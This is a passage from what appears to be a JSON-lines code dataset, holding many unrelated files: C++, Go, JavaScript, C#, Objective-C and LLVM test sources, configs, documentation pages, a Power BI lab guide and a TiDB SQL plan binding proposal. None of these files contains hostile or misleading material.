GL_UNSIGNED_INT, &(mIndices[level]->at(0)));\r\n glDisableClientState(GL_VERTEX_ARRAY);\r\n glDisableClientState(GL_NORMAL_ARRAY);\r\n glEndList();\r\n }\r\n glCallList(mListIds[level]);\r\n}\r\n\r\n\r\n"} +{"text": "---\ntitle: \"getClickToAct (JavaScript API Reference) for Dynamics 365 Channel Integration Framework (CIF) version 1.0| Microsoft Docs\"\ndescription: \"\"\nauthor: susikka\nms.author: susikka\nmanager: shujoshi\nms.date: 12/31/2019\nms.topic: reference\nms.service: \n - dynamics-365-customerservice\nms.custom: \n - \"dyn365-a11y\"\n - \"dyn365-developer\"\napplies_to: \n - \"Dynamics 365 for Customer Engagement (online)\"\n---\n\n# getClickToAct (CIF JavaScript API Reference)\n\n[!INCLUDE[getClickToAct](includes/getClickToAct-description.md)]\n\n[!INCLUDE[token-getClickToAct](../../shared/token-getClickToAct.md)]"} +{"text": "var LazyWrapper = require('./LazyWrapper');\n\n/**\n * Reverses the direction of lazy iteration.\n *\n * @private\n * @name reverse\n * @memberOf LazyWrapper\n * @returns {Object} Returns the new reversed `LazyWrapper` object.\n */\nfunction lazyReverse() {\n if (this.__filtered__) {\n var result = new LazyWrapper(this);\n result.__dir__ = -1;\n result.__filtered__ = true;\n } else {\n result = this.clone();\n result.__dir__ *= -1;\n }\n return result;\n}\n\nmodule.exports = lazyReverse;\n"} +{"text": "{\n \"runtimeOptions\": {\n \"tfm\": \"netcoreapp2.0\",\n \"framework\": {\n \"name\": \"Microsoft.NETCore.App\",\n \"version\": \"2.0.0\"\n }\n }\n}"} +{"text": "body {\n width: 100%;\n}\n#logo {\n width: 100px;\n height: 100px;\n background: url('../assets/logo.png');\n background: url(\"#inline-svg\");\n}\n\n.a {\n var: test;\n}\n"} +{"text": "\n\n\n\t\n\tOpenResty - [% title %]\n \n\t\n\t\n\t\n\t\n\n\n\n[% PROCESS 'header.tt2' %]\n\n\t
    \n\t\t
    \n\t\t\t\n\n[% PROCESS 'main-menu-buttons.tt2' %]\n\n\t\t
    \n\n\t\t
    \n\n[%- IF lang == 'cn';\n PROCESS 'news-cn.tt2';\n ELSE;\n PROCESS 'news-en.tt2';\n END;\n%]\n\n[% PROCESS post.tt2 %]\n\n[%- IF lang == 'cn';\n PROCESS 'posts-slide-cn.tt2';\n ELSE;\n PROCESS 'posts-slide-en.tt2';\n END;\n%]\n\t\t
    \n\n[% PROCESS 'sidebar.tt2' %]\n\t
    \n\n[% PROCESS 'footer.tt2' %]\n\n\n\n"} +{"text": "// Copyright 2018 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build arm64,freebsd\n\npackage unix\n\nimport (\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc setTimespec(sec, nsec int64) Timespec {\n\treturn Timespec{Sec: sec, Nsec: nsec}\n}\n\nfunc setTimeval(sec, usec int64) Timeval {\n\treturn Timeval{Sec: sec, Usec: usec}\n}\n\nfunc SetKevent(k *Kevent_t, fd, mode, flags int) {\n\tk.Ident = uint64(fd)\n\tk.Filter = int16(mode)\n\tk.Flags = uint16(flags)\n}\n\nfunc (iov *Iovec) SetLen(length int) {\n\tiov.Len = uint64(length)\n}\n\nfunc (msghdr *Msghdr) SetControllen(length int) {\n\tmsghdr.Controllen = uint32(length)\n}\n\nfunc (cmsg *Cmsghdr) SetLen(length int) {\n\tcmsg.Len = uint32(length)\n}\n\nfunc sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {\n\tvar writtenOut uint64 = 0\n\t_, _, e1 := Syscall9(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(*offset), uintptr(count), 0, uintptr(unsafe.Pointer(&writtenOut)), 0, 0, 0)\n\n\twritten = int(writtenOut)\n\n\tif e1 != 0 {\n\t\terr = e1\n\t}\n\treturn\n}\n\nfunc Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)\n"} +{"text": "; REQUIRES: asserts\n; RUN: opt -regions -analyze < %s | FileCheck %s\n; RUN: opt < %s -passes='print' 2>&1 | FileCheck %s\n\n; While working on improvements to the region info analysis, this test\n; case caused an incorrect region bb2 => bb3 to be detected. It is incorrect\n; because bb2 has an outgoing edge to bb4. This is interesting because\n; bb2 dom bb3 and bb3 pdom bb2, which should have been enough to prevent incoming\n; forward edges into the region and outgoing forward edges from the region.\n\ndefine void @meread_() nounwind {\nbb:\n br label %bb1\n\nbb1: ; preds = %bb4, %bb\n br label %bb2\n\nbb2: ; preds = %bb1\n br i1 true, label %bb3, label %bb4\n\nbb3: ; preds = %bb2\n br i1 true, label %bb4, label %bb5\n\nbb4: ; preds = %bb3, %bb2\n br label %bb1\n\nbb5: ; preds = %bb3\n ret void\n }\n\n; CHECK: [0] bb => \n; CHECK-NEXT: [1] bb1 => bb5\n; CHECK-NEXT: End region tree\n"} +{"text": "\n\n\t\n\t\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\n"} +{"text": "---\ntitle: Connect to Visual Studio Team Services with Power BI\nlayout: page\nsidebar: vsts\npermalink: /labs/vsts/powerbi/\nfolder: /labs/vsts/powerbi/\n---\n\nLast updated : {{ \"now\" | date: \"%b %d, %Y\" }}.\n\n## Overview\n\nYou can gain insight and analyze the progress and quality of your project by connecting Power BI to the data collected and stored for Team Services.\n\nPower BI is a suite of business analytics tools that deliver insights throughout your organization. Connect to hundreds of data sources, simplify data prep, and drive ad hoc analysis. Produce beautiful reports, then publish them for your organization to consume on the web and across mobile devices. Everyone can create personalized dashboards with a unique, 360-degree view of their business. And scale across the enterprise, with governance and security built-in.\n\n{% include important.html content= \"The Visual Studio Team Services (VSTS) Content Pack for Power BI has been deprecated on November 15, 2017 primarily due to the negative impact it has had on VSTS accounts, including throttling end users access. Support will continue for all existing [PowerBI.com](https://powerbi.microsoft.com/en-us/){:target=\\\"_blank\\\"} data sets based on the Content Pack. However, you won’t be able to create any new data sets.
    \n\nThe [Analytics Marketplace extension](https://marketplace.visualstudio.com/items?itemName=ms.vss-analytics){:target=\\\"_blank\\\"} and upcoming updates to the [Power BI Desktop connector](https://docs.microsoft.com/en-us/vsts/report/powerbi/data-connector-connect){:target=\\\"_blank\\\"} for VSTS are intended to replace and improve on the capabilities of the Content Pack. While the Analytics Marketplace extension currently supports Work Item Tracking data, we will update it to support additional data types including Tests, Build, Release and Version Control. In the interim, you can use [VSTS REST APIs](https://www.visualstudio.com/en-us/docs/integrate/api/overview){:target=\\\"_blank\\\"} as an alternative to the Content Pack to report on these additional data types.\" %}\n\n## Prerequisites\n\n1. You should have Office365 account in order to integrate Visual Studio Team Services with Power BI\n\n1. Visual Studio Team Services account. If you don't have one, you can create from [here](https://www.visualstudio.com/team-services){:target=\"_blank\"}\n\n{% include tip.html content =\"You can start a free trial if you don't have Office365 account from [here](https://teams.microsoft.com/start){:target=\\\"_blank\\\"}\" %}\n\n## Authorize Power BI to access your account data\n\nYour first step requires you to authorize Power BI to access your Team Services account. Choose between one of these two connection scenarios when connecting to Power BI:\n\n**Scenario #1**: You use the same Azure Active Directory (AAD) account to log in to Team Services and Power BI.\n\n**Scenario #2**: You use an MSA (Microsoft account/LiveID) to log in to Team Services or you use different AAD credentials to log into Team Services than you use to log into Power BI.\n\n## Log in to Power BI\n\n1. Go to [Power BI](http://powerbi.com){:target=\"_blank\"} site\n\n ![1](images/1.png)\n\n1. Click **Sign In** in the upper right corner to log in to Power BI.\n\n ![2](images/2.png)\n\n1. You can use either AAD or MSA account to log in.\n\n {% include note.html content= \"If you don't have a Power BI account you can create one by entering your email address and click Use it free.\" %}\n\n## Managing Workspaces\n\nWorkspaces in Power BI allows you to have isolated area to monitor your teams work. You can add, remove, edit and grant permissions either to edit or read the contents present in the workspace.\n\n1. Go to **Workspaces** and click on **Create app workspace**.\n\n ![11](images/11.png)\n\n1. Give a name for the workspace and set the desired permissions. For this lab let's keep it default and create one.\n\n ![12](images/12.png)\n\n1. A new workspace is created now.\n\n ![13](images/13.png)\n\n## Connect to services with content packs for Power BI\n\nYou can connect to content packs for a number of services you use to run your business, such as Salesforce, Microsoft Dynamics, Visual Studio Team Services and Google Analytics. Power BI starts by using your credentials to connect to the service, and then creates a Power BI dashboard and a set of Power BI reports that automatically show your data and provide visual insights about your business.\n\n1. Click **Get Data** on the left bottom corner to select .\n\n ![3](images/3.png)\n\n1. You can pull out the data either from one of the sources. Since we are integrating with VSTS, select **Services** and click on **Get**.\n\n ![4](images/4.png)\n\n1. Browse the content packs, or tap in the search box and type keywords:\n\n ![29](images/29.png)\n\n1. In the search box, type **Visual Studio** and click on **Get it now**.\n\n ![5](images/5.png)\n\n1. Enter **YOUR ACCOUNT NAME**, if your Team Services URl is **YOURACCOUNTNAME.visualstudio.com**. Also enter the Project name that you want to track and click on **Next**\n\n ![6](images/6.png)\n\n1. A window would appear to allow the access to your VSTS account. Click **Sign in**.\n\n ![8](images/8.png)\n\n1. A window would pop up to allow the permission to read the data from the VSTS account. Click on **Accept**.\n\n ![9](images/9.png)\n\n1. Now the data is being imported and you will see the notification on the right corner top.\n\n ![7](images/7.png)\n\n1. Once the data is imported, you will see the dashboard with the data.\n\n ![10](images/10.png)\n\n## Reports in Power BI\n\nA Power BI report is a multi-perspective view into a dataset, with visualizations that represent different findings and insights from that dataset. A report can have a single visualization or pages full of visualizations. Depending on your job role, you may be someone who creates reports and/or you may be someone who consumes or uses reports.\n\n1. Click on **Reports** and select **Visual Studio Team Services**. By default when the data is imported, a report would have generated automatically.\n\n ![14](images/14.png)\n\n1. The report along with the data is shown. Modify the report to show the desired data. To do so, click on **Edit report** on the top.\n\n ![15](images/15.png)\n\n1. Visualizations and additional data can be added from the filter sets and the visualizations table from the right side.\n\n ![16](images/16.png)\n\n1. Different reports can be obtained. Agile Status report, Sprint Status report, Git report etc.\n\n ![17](images/17.png)\n\n ![18](images/18.png)\n\n ![19](images/19.png)\n\n1. Add new pages to the report with the desired data. Click on + at the bottom of the report to add new and select the visualizations and data to appear in the page.\n\n ![20](images/20.png)\n\n## Q&A in Power BI\n\nSometimes the fastest way to get an answer from your data, is to ask a question using natural language. For example, **what were total sales last year?** Use Q&A to explore your data using intuitive, natural language capabilities and receive answers in the form of charts and graphs. Q&A is different from a search engine -- Q&A only provides results about the data in Power BI.\n\nAsking the question is just the beginning. Have fun traveling through your data refining or expanding your question, uncovering trust-worthy new information, zeroing in on details and zooming out for a broader view. You’ll be delighted by the insights and discoveries you make.\n\nThe experience is truly interactive…and fast! Powered by an in-memory storage, response is almost instantaneous.\n\n1. From your workspace, go to Dashboard and click on **Ask a question about your data**\n\n ![21](images/21.png)\n\n1. Place your cursor in the question box. Even before you start typing, Q&A displays a new screen with suggestions to help you form your question.\n\n ![23](images/23.png)\n\n This list contains:\n\n a. The questions used to create tiles that are already pinned to the dashboard, and\n\n b. The name of tables in the underlying dataset(s).\n\n You can always choose one of these questions as a starting point and continue to refine the question to find the specific answer you are looking for. Or, use a table name to help you word a new question.\n\n1. Select from the dropdown or begin typing your own question.\n\n ![24](images/24.png)\n\n1. As you type a question, Power BI Q&A picks the best visualization to display your answer; and the visualization changes dynamically as you modify the question. Q&A also helps you formulate your question with auto-completion, by restating your question, and with other textual and visual aids.\n\n ![25](images/25.png)\n\n1. When you type a query, Power BI looks for an answer in any dataset that has a tile on that dashboard. If all the tiles are from datasetA, then your answer will come from datasetA. If there are tiles from datasetA and datasetB, then Q&A will search for the best answer from those 2 datasets.\n\n {% include important.html content= \"If you only have one tile from datasetA and you remove it from your dashboard, Q&A will no longer have access to datasetA.\" %}\n\n1. When you're happy with the result, pin the visualization to a dashboard by selecting the pin icon in the top right corner.\n\n ![26](images/26.png)\n\n1. You can pin this to an **Existing dashboard** or to a **New dashboard**. Select **Existing dashboard.**\n\n ![27](images/27.png)\n\n1. Go back to dashboard, you should see the pinned item now.\n\n ![28](images/28.png)"} +{"text": "/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\n\n\nimport DynamicClass.*;\nimport com.adobe.test.Assert;\n\n// var SECTION = \"Definitions\"; // provide a document reference (ie, ECMA section)\n// var VERSION = \"AS 3.0\"; // Version of JavaScript or ECMA\n// var TITLE = \"dynamic class extend dynamic class\"; // Provide ECMA section title or a description\nvar BUGNUMBER = \"\";\n\n\n/**\n * Calls to Assert.expectEq here. Assert.expectEq is a function that is defined\n * in shell.js and takes three arguments:\n * - a string representation of what is being tested\n * - the expected result\n * - the actual result\n *\n * For example, a test might look like this:\n *\n * var helloWorld = \"Hello World\";\n *\n * Assert.expectEq(\n * \"var helloWorld = 'Hello World'\", // description of the test\n * \"Hello World\", // expected result\n * helloWorld ); // actual result\n *\n */\n\n \n//*******************************************\n// access final method from\n// outside of class\n//*******************************************\n\nvar EXTDCLASS = new DynExtDynamicClassFin();\nvar arr = new Array(1, 2, 3);\n\n// ********************************************\n// access final method from a default\n// method of a sub class\n//\n// ********************************************\n\nEXTDCLASS = new DynExtDynamicClassFin();\nAssert.expectEq( \"*** Access final method from default method of sub class ***\", 1, 1 );\nAssert.expectEq( \"EXTDCLASS.testSubArray(arr)\", arr, (EXTDCLASS.testSubArray(arr)) );\n\n\n\n// ********************************************\n// access final method from a public\n// method of a sub class\n//\n// ********************************************\n\nEXTDCLASS = new DynExtDynamicClassFin();\nAssert.expectEq( \"*** Access final method from public method of sub class ***\", 1, 1 );\nAssert.expectEq( \"EXTDCLASS.pubSubSetArray(arr), EXTDCLASS.pubSubGetArray()\", arr, (EXTDCLASS.pubSubSetArray(arr), EXTDCLASS.pubSubGetArray()) );\n\n\n// ********************************************\n// access final method from a private\n// method of a sub class\n//\n// ********************************************\n\nEXTDCLASS = new DynExtDynamicClassFin();\nAssert.expectEq( \"*** Access final method from private method of sub class ***\", 1, 1 );\nAssert.expectEq( \"EXTDCLASS.testPrivSubArray(arr)\", arr, EXTDCLASS.testPrivSubArray(arr) );\n\n\n// ********************************************\n// access final method from a final\n// method of a sub class\n//\n// ********************************************\n\nEXTDCLASS = new DynExtDynamicClassFin();\nAssert.expectEq( \"*** Access final method from final method of sub class ***\", 1, 1 );\nAssert.expectEq( \"EXTDCLASS.testFinSubArray(arr)\", arr, (EXTDCLASS.testFinSubArray(arr)) );\n\n// ********************************************\n// access final method from a private final\n// method of a sub class\n//\n// ********************************************\n\nEXTDCLASS = new DynExtDynamicClassFin();\nAssert.expectEq( \"*** Access final method from private final method of sub class ***\", 1, 1 );\nAssert.expectEq( \"EXTDCLASS.testPrivFinSubArray(arr)\", arr, (EXTDCLASS.testPrivFinSubArray(arr)) );\n\n// ********************************************\n// access final method from a virtual\n// method of a sub class\n//\n// ********************************************\n\nEXTDCLASS = new DynExtDynamicClassFin();\nAssert.expectEq( \"*** Access final method from virtual method of sub class ***\", 1, 1 );\nAssert.expectEq( \"EXTDCLASS.testVirSubArray(arr)\", arr, (EXTDCLASS.testVirSubArray(arr)) );\n\n\n// ********************************************\n// access final property from outside\n// the class\n// ********************************************\n\n\n// ********************************************\n// access final property from\n// default method in sub class\n// ********************************************\n\nEXTDCLASS = new DynExtDynamicClassFin();\nAssert.expectEq( \"*** Access final property from method in sub class ***\", 1, 1 );\nAssert.expectEq( \"EXTDCLASS.testSubGetDPArray(arr)\", arr, (EXTDCLASS.testSubGetDPArray(arr)) );\n\n\n// ********************************************\n// access final property from\n// public method in sub class\n// ********************************************\n\nEXTDCLASS = new DynExtDynamicClassFin();\nAssert.expectEq( \"*** Access final property from public method in sub class ***\", 1, 1 );\nAssert.expectEq( \"EXTDCLASS.pubSubSetDPArray(arr), EXTDCLASS.pubSubGetDPArray()\", arr, (EXTDCLASS.pubSubSetDPArray(arr), EXTDCLASS.pubSubGetDPArray()) );\n\n\n// ********************************************\n// access final property from\n// private method in sub class\n// ********************************************\n\nEXTDCLASS = new DynExtDynamicClassFin();\nAssert.expectEq( \"*** Access final property from private method in sub class ***\", 1, 1 );\nAssert.expectEq( \"EXTDCLASS.testPrivSubGetDPArray(arr)\", arr, (EXTDCLASS.testPrivSubGetDPArray(arr)) );\n\n\n// ********************************************\n// access final property from\n// private virtual method in sub class\n// ********************************************\n\nEXTDCLASS = new DynExtDynamicClassFin();\nAssert.expectEq( \"*** Access final property from private virtual method in sub class ***\", 1, 1 );\nAssert.expectEq( \"EXTDCLASS.testPrivVirSubGetDPArray(arr)\", arr, (EXTDCLASS.testPrivVirSubGetDPArray(arr)) );\n\n\n\n // displays results.\n"} +{"text": "//\n// Copyright (c) 2016-2019 Vinnie Falco (vinnie dot falco at gmail dot com)\n//\n// Distributed under the Boost Software License, Version 1.0. (See accompanying\n// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n//\n// Official repository: https://github.com/boostorg/beast\n//\n\n#ifndef BOOST_BEAST_IMPL_HANDLER_PTR_HPP\n#define BOOST_BEAST_IMPL_HANDLER_PTR_HPP\n\n#include \n#include \n#include \n\nnamespace boost {\nnamespace beast {\n\ntemplate\nvoid\nhandler_ptr::\nclear()\n{\n using A = typename detail::allocator_traits<\n net::associated_allocator_t<\n Handler>>::template rebind_alloc;\n using alloc_traits =\n beast::detail::allocator_traits;\n A alloc(\n net::get_associated_allocator(handler()));\n alloc_traits::destroy(alloc, t_);\n alloc_traits::deallocate(alloc, t_, 1);\n t_ = nullptr;\n}\n\ntemplate\nhandler_ptr::\n~handler_ptr()\n{\n if(t_)\n {\n clear();\n h_.~Handler();\n }\n}\n\ntemplate\nhandler_ptr::\nhandler_ptr(handler_ptr&& other)\n : t_(other.t_)\n{\n if(other.t_)\n {\n ::new(static_cast(std::addressof(h_)))\n Handler(std::move(other.h_));\n other.h_.~Handler();\n other.t_ = nullptr;\n }\n}\n\ntemplate\ntemplate\nhandler_ptr::\nhandler_ptr(DeducedHandler&& h, Args&&... args)\n{\n BOOST_STATIC_ASSERT(! std::is_array::value);\n using A = typename detail::allocator_traits<\n net::associated_allocator_t<\n Handler>>::template rebind_alloc;\n using alloc_traits =\n beast::detail::allocator_traits;\n A alloc{net::get_associated_allocator(h)};\n bool destroy = false;\n auto deleter = [&alloc, &destroy](T* p)\n {\n if(destroy)\n alloc_traits::destroy(alloc, p);\n alloc_traits::deallocate(alloc, p, 1);\n };\n std::unique_ptr t{\n alloc_traits::allocate(alloc, 1), deleter};\n alloc_traits::construct(alloc, t.get(),\n static_cast(h),\n std::forward(args)...);\n destroy = true;\n ::new(static_cast(std::addressof(h_)))\n Handler(std::forward(h));\n t_ = t.release();\n}\n\ntemplate\nauto\nhandler_ptr::\nrelease_handler() ->\n handler_type\n{\n BOOST_ASSERT(t_);\n clear();\n auto deleter = [](Handler* h)\n {\n h->~Handler();\n };\n std::unique_ptr<\n Handler, decltype(deleter)> destroyer{\n std::addressof(h_), deleter};\n return std::move(h_);\n}\n\ntemplate\ntemplate\nvoid\nhandler_ptr::\ninvoke(Args&&... args)\n{\n BOOST_ASSERT(t_);\n clear();\n auto deleter = [](Handler* h)\n {\n boost::ignore_unused(h); // fix #1119\n h->~Handler();\n };\n std::unique_ptr<\n Handler, decltype(deleter)> destroyer{\n std::addressof(h_), deleter};\n h_(std::forward(args)...);\n}\n\n} // beast\n} // boost\n\n#endif\n"} +{"text": "/* ---------------------------------------------------------------------------- \n* Copyright (C) 2010-2014 ARM Limited. All rights reserved. \n* \n* $Date: 19. March 2015\n* $Revision: \tV.1.4.5\n* \n* Project: \t CMSIS DSP Library \n* Title: arm_mat_init_f32.c \n* \n* Description:\tFloating-point matrix initialization. \n* \n* Target Processor: Cortex-M4/Cortex-M3/Cortex-M0\n* \n* Redistribution and use in source and binary forms, with or without \n* modification, are permitted provided that the following conditions\n* are met:\n* - Redistributions of source code must retain the above copyright\n* notice, this list of conditions and the following disclaimer.\n* - Redistributions in binary form must reproduce the above copyright\n* notice, this list of conditions and the following disclaimer in\n* the documentation and/or other materials provided with the \n* distribution.\n* - Neither the name of ARM LIMITED nor the names of its contributors\n* may be used to endorse or promote products derived from this\n* software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE \n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n* POSSIBILITY OF SUCH DAMAGE. \n* -------------------------------------------------------------------------- */\n\n#include \"arm_math.h\"\n\n/** \n * @ingroup groupMatrix \n */\n\n/** \n * @defgroup MatrixInit Matrix Initialization \n * \n * Initializes the underlying matrix data structure. \n * The functions set the numRows, \n * numCols, and pData fields \n * of the matrix data structure. \n */\n\n/** \n * @addtogroup MatrixInit \n * @{ \n */\n\n/** \n * @brief Floating-point matrix initialization. \n * @param[in,out] *S points to an instance of the floating-point matrix structure. \n * @param[in] nRows number of rows in the matrix. \n * @param[in] nColumns number of columns in the matrix. \n * @param[in] *pData\t points to the matrix data array. \n * @return none \n */\n\nvoid arm_mat_init_f32(\n arm_matrix_instance_f32 * S,\n uint16_t nRows,\n uint16_t nColumns,\n float32_t * pData)\n{\n /* Assign Number of Rows */\n S->numRows = nRows;\n\n /* Assign Number of Columns */\n S->numCols = nColumns;\n\n /* Assign Data pointer */\n S->pData = pData;\n}\n\n/** \n * @} end of MatrixInit group \n */\n"} +{"text": "\n\n\n\n\n List of All Members for QtSoapNamespaces\n \n\n\n\n\n\n\n
      Home

    List of All Members for QtSoapNamespaces

    \n

    This is the complete list of members for QtSoapNamespaces, including inherited members.

    \n\n


    \n\n\n\n\n
    Copyright © 2009 Nokia Corporation and/or its subsidiary(-ies)Trademarks
    Qt Solutions
    \n\n"} +{"text": "module.exports = require('./RCTNetworkingWinShared');\n"} +{"text": "# Proposal: Support SQL Plan Management\n\n- Author(s): [Haibin Xie](https://github.com/lamxTyler)\n- Last updated: 2018-12-11\n- Discussion at:\n\n## Abstract\n\nThis proposal aims to support the SQL plan management. With the help of it, we can force the optimizer to choose a certain plan without modifying the SQL text.\n\n## Background\n\nThe optimizer chooses a plan based on several environmental factors, such as statistics, optimizer parameters, schema definitions and so on. Once the environment changes, we cannot guarantee that the newly optimized plan is always better than the old plan. Therefore we need to provide ways to bind the plan for applications that cannot take the risk of a changed plan.\n\n## Proposal\n\nThe following proposal mainly focuses on two parts: how to bind the plan and what is the syntax to manage it.\n\n### How to bind the plan\n\nIn order to bind the plan, we need to maintain a mapping from normalized SQL text to plan. To normalize the SQL text, we can remove all the blank space, replace the parameters with placement markers, and convert remaining parts to lower cases. The most difficult problem is how we represent and store the plan.\n\nOne way to represent the plan is using the optimized physical plan. However, it is difficult to perform the parameters replacement for later SQLs, because some parameters may already be rewritten in the optimized physical plan when doing logical and physical optimizations.\n\nSince the parameters replacement is hard, it is better not doing it. Another way to represent the plan is using the AST of hinted SQL, so the only thing needs to do for later SQLs is to traverse the AST and copy hints.\n\n### Syntax to manage the binding plan\n\nTo manage the SQL bindings, we need to support basic operations like create, show and drop. We can also support SQL bindings that only exist in the current session. The syntax will be like the following:\n\n- CREATE [GLOBAL|SESSION] BINDING_NAME BINDING FOR `SQL` USING `HINTED SQL`\n- DROP [GLOBAL|SESSION] BINDINGS\n- DROP [GLOBAL|SESSION] BINDING BINDING_NAME\n- SHOW [GLOBAL|SESSION] BINDINGS [SHOW_LIKE_OR_WHERE]\n\n## Rationale\n\nIn Oracle, they only store the hints of the optimized query, instead of the whole AST. For TiDB, it requires more work to do it now because we need to generate unique identifiers for the subqueries and lift all hints to the outer most queries. Storing the AST is the simplest way now.\n\n## Compatibility\n\nMySQL does not support SQL plan management, so this will add syntaxes that not supported by MySQL.\n\n## Implementation\n\nTo implement it, we need the following main steps:\n\n- Normalize the SQL text. We can take this https://github.com/pingcap/parser/pull/32 as an example.\n- Support the syntax in the parser.\n- Store the binding SQL and AST of the hinted SQL in a system table. Since there is a unique mapping from SQL text to AST, we can just store the SQL and parse it to AST for later use. A background goroutine will check if there are new bindings and update the local cache.\n- When another SQL comes, we first check if there is a matched SQL in the cache. If so, we can traverse the AST to add hints. Since comparing text for every SQL may affect unrelated SQLs a lot, we can calculate a hash value and first check if there is matching hash values.\n\n## Open issues (if applicable)\n"} +{"text": "\n\n \n \n \n \n \n \n \n _count \n \n AAAAAAAAAAI= \n \n \n \n _mt_index \n \n AAAAAAAAAAM= \n \n \n \n _tree \n \n AAAAAAAAAAQ= \n \n \n \n categories \n \n \n specialise/portal_rules/7\n \n \n \n \n id \n 1 \n \n \n last_id \n 1 \n \n \n portal_type \n Applied Rule \n \n \n \n \n \n \n \n \n 0 \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n"} +{"text": "\r\nusing System;\r\nusing Microsoft.VisualStudio.Language.NavigateTo.Interfaces;\r\nusing System.ComponentModel.Composition;\r\nusing Microsoft.VisualStudio.Language.Intellisense;\r\n\r\nnamespace Nitra.VisualStudio.NavigateTo\r\n{\r\n [Export(typeof(INavigateToItemProviderFactory))]\r\n class NitraNavigateToItemProviderFactory : INavigateToItemProviderFactory\r\n {\r\n readonly IGlyphService _glyphService;\r\n\r\n [ImportingConstructor]\r\n public NitraNavigateToItemProviderFactory(IGlyphService glyphService)\r\n {\r\n _glyphService = glyphService;\r\n }\r\n\r\n public bool TryCreateNavigateToItemProvider(IServiceProvider serviceProvider, out INavigateToItemProvider provider)\r\n {\r\n provider = new NitraNavigateToItemProvider(serviceProvider, _glyphService);\r\n return true;\r\n }\r\n }\r\n}\r\n"} +{"text": "StartChar: uni252E\nEncoding: 9518 9518 622\nWidth: 1060\nVWidth: 0\nFlags: W\nHStem: 390 260<613 1080> 438 166<-20 448>\nVStem: 448 165<-505 390>\nLayerCount: 2\nFore\nSplineSet\n448 438 m 1x60\n -20 438 l 1\n -20 604 l 1\n 448 604 l 1x60\n 448 650 l 1\n 659 650 869 650 1080 650 c 1\n 1080 390 l 1\n 613 390 l 1xa0\n 613 -505 l 1\n 448 -505 l 1\n 448 438 l 1x60\nEndSplineSet\nValidated: 1\nEndChar\n"} +{"text": "/*\n * This file is part of the SDWebImage package.\n * (c) Olivier Poitrey \n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\n#import \"UIImage+ForceDecode.h\"\n#import \"SDWebImageCodersManager.h\"\n\n@implementation UIImage (ForceDecode)\n\n+ (UIImage *)decodedImageWithImage:(UIImage *)image {\n if (!image) {\n return nil;\n }\n NSData *tempData;\n return [[SDWebImageCodersManager sharedInstance] decompressedImageWithImage:image data:&tempData options:@{SDWebImageCoderScaleDownLargeImagesKey: @(NO)}];\n}\n\n+ (UIImage *)decodedAndScaledDownImageWithImage:(UIImage *)image {\n if (!image) {\n return nil;\n }\n NSData *tempData;\n return [[SDWebImageCodersManager sharedInstance] decompressedImageWithImage:image data:&tempData options:@{SDWebImageCoderScaleDownLargeImagesKey: @(YES)}];\n}\n\n@end\n"} +{"text": "# Jablotron Alarm Binding\n\nThis is the binding for Jablotron alarms.\nhttps://www.jablotron.com/en/jablotron-products/alarms/\n\n## Supported 